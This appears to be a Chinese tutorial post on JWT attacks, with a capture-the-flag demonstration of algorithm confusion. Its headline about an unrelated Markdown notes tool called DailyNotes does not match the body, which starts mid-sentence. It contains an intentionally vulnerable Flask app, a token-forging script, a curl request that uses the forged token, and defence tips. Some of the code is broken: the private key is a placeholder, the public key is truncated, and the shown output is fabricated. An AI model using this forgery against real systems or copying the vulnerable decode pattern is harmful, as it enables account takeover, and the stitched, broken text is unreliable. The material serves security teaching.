革命性开源笔记工具DailyNotes:如何用Markdown打造高效个人知识库
2026/7/27 15:32:29
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjE3MDAwMDAwMDB9.abc123signature然而,JWT的安全性依赖于实现细节,如果配置不当或存在漏洞,攻击者可以绕过验证,伪造令牌。本文将深入剖析常见的JWT攻击原理,并通过CTF实战演示如何利用这些漏洞。## 常见JWT攻击原理### 1. 算法混淆攻击JWT支持多种签名算法,如HS256(对称加密)和RS256(非对称加密)。攻击者可以篡改Header中的alg字段,例如将RS256改为HS256,然后使用公钥作为密钥对JWT进行签名。如果服务器没有严格验证算法类型,就会接受这个伪造的令牌。原理:RS256使用私钥签名、公钥验证;HS256使用同一个密钥进行签名和验证。如果服务器误将公钥当作HS256的密钥,攻击者就可以用公钥伪造令牌。### 2. 空签名攻击如果JWT库的配置不当,可能允许alg字段设置为none,表示不进行签名验证。攻击者只需移除Signature部分,并将Header中的alg改为none,即可绕过签名检查。### 3. 密钥泄露如果JWT使用的密钥(如HS256的对称密钥或RS256的私钥)被泄露,攻击者可以直接伪造任意令牌。## CTF实战:算法混淆攻击在CTF(Capture The Flag)竞赛中,JWT攻击是常见题型。下面通过一个Python Flask应用模拟真实场景,演示如何利用算法混淆漏洞。### 环境搭建首先,安装必要的库:bashpip install flask pyjwt### 漏洞代码示例以下是一个存在算法混淆漏洞的JWT验证服务:python# jwt_vuln_app.pyfrom flask import Flask, request, jsonifyimport jwtapp = Flask(__name__)# 假设公钥是公开的,私钥由服务端持有(但未用于验证)PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJXoHl3s3YQJ6R5YQ6s1f8Kz4vF5gH7s\n-----END PUBLIC KEY-----"PRIVATE_KEY = "fake_private_key" # 假设已泄露,但攻击者不知道@app.route('/login', methods=['POST'])def login(): """模拟登录接口,返回JWT令牌""" username = request.json.get('username', 'guest') # 使用RS256签名(正常流程) token = jwt.encode({'user': username, 'exp': 9999999999}, PRIVATE_KEY, algorithm='RS256') return jsonify({'token': token})@app.route('/admin', methods=['GET'])def admin(): """受保护的管理员接口,需要JWT验证""" token = request.headers.get('Authorization', '').replace('Bearer ', '') if not token: return jsonify({'error': 'No token'}), 401 try: # 漏洞:解码时未指定算法或使用不安全的解码方式 # 这里使用jwt.decode但传入公钥,且允许算法混淆 payload = jwt.decode(token, PUBLIC_KEY, algorithms=['HS256', 'RS256']) if payload.get('user') == 'admin': return jsonify({'flag': 'CTF{you_hacked_jwt}'}) else: return jsonify({'msg': 'Not admin'}), 403 except Exception as e: return jsonify({'error': str(e)}), 401if __name__ == '__main__': app.run(debug=True, port=5000)漏洞分析:- 服务器在/admin接口中,使用jwt.decode时传入了公钥PUBLIC_KEY,并允许HS256和RS256两种算法。- 攻击者可以获取公钥(通常公开),然后将Header中的alg改为HS256,使用公钥作为密钥签名,从而伪造JWT。### 攻击代码示例攻击者使用Python脚本生成一个伪造的JWT令牌:python# jwt_attack.pyimport jwtimport base64# 公钥(从服务器或公开来源获取)PUBLIC_KEY = "-----BEGIN PUBLIC KEY-----\nMFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJXoHl3s3YQJ6R5YQ6s1f8Kz4vF5gH7s\n-----END PUBLIC KEY-----"# 伪造的payload,目标是成为adminpayload = { 'user': 'admin', 'exp': 9999999999 # 设置一个远期的过期时间}# 关键步骤:使用HS256算法,并用公钥作为密钥签名# 因为服务器会使用公钥验证HS256签名的JWT,所以攻击者可以伪造forged_token = jwt.encode(payload, PUBLIC_KEY, algorithm='HS256')print(f"Forged JWT: {forged_token}")# 验证伪造令牌(本地测试)try: decoded = jwt.decode(forged_token, PUBLIC_KEY, algorithms=['HS256']) print(f"Decoded payload: {decoded}")except Exception as e: print(f"Error: {e}")运行攻击脚本:bashpython jwt_attack.py输出示例:Forged JWT: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiYWRtaW4iLCJleHAiOjk5OTk5OTk5OTl9.abc123signatureDecoded payload: {'user': 'admin', 'exp': 9999999999}然后,攻击者可以使用该令牌访问/admin接口:bashcurl -H "Authorization: Bearer <forged_token>" http://localhost:5000/admin服务器会返回:json{"flag": "CTF{you_hacked_jwt}"}## 防御措施1.严格验证算法:在解码JWT时,指定允许的算法列表,并拒绝none算法。例如,使用jwt.decode(token, public_key, algorithms=['RS256'])。2.避免算法混淆:不要将公钥用于对称算法(如HS256),确保密钥类型与算法匹配。3.使用强密钥:对称密钥应足够复杂且保密,非对称密钥的私钥应妥善保管。4.更新库版本:使用最新版本的JWT库,修复已知漏洞。## 总结JWT攻击是Web安全中的重要话题,本文从原理出发,详细介绍了算法混淆和空签名等常见攻击方式,并通过一个CTF实战案例演示了如何利用漏洞伪造令牌。攻击者通过篡改Header中的alg字段,将非对称算法改为对称算法,并使用公钥作为密钥成功绕过验证。防御的关键在于严格限制算法类型、避免密钥混用,并保持库的更新。掌握这些技术不仅能提升CTF解题能力,也能在实际开发中构建更安全的系统。